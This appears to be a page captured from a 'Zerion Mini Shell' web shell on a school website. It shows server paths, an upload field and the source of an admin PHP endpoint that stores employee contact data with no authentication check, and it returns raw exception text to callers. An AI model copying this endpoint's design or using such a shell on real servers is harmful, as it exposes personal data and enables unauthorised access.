ok

Mini Shell

Direktori : /home2/selectio/www/pvmatricschool.com/admin/api/
Upload File :
Current File : /home2/selectio/www/pvmatricschool.com/admin/api/create-email-mobile-api.php

<?php
session_start();
include"../config/config.php";
if(isset($_POST['type']) && $_POST['type']=='add_email_mobile_icom'){
        try{
            $date = date('Y-m-d h:i:s', time());
            
            $statement = $pdo->prepare("INSERT INTO `tbl_mobile`(`g_id`, `employee_name`, `mobile_no`, `designation`,`code`, `email`, `alter_mobile`, `employee_ord`,icom,`icom_bak`,status) VALUES (?,?,?,?,?,?,?,?,?,?,?)");
           
         
            $result=$statement->execute(array($_POST['employee_gid'],$_POST['employee_name'],$_POST['mobile_no'],$_POST['designation'],$_POST['employee_code'],$_POST['email'],$_POST['alter_no'],$_POST['employee_ord'],$_POST['employee_icom'],$_POST['employee_icombak'],$_POST['status']));
               
                    if($result){
                     
                        $return_arr['message'] = 'Email Mobile Icom Added successfully!';
                        $return_arr['status']=200;
                          
                    }else{
                        $return_arr['message']="Something went wrong try again...";
                        $return_arr['status']=400;
                    }  
                }catch(Exception $e){
                    $return_arr['message']='0987'.$e;
                    $return_arr['status']=500;
                }   
                echo json_encode($return_arr);
    }

?>

Zerion Mini Shell 1.0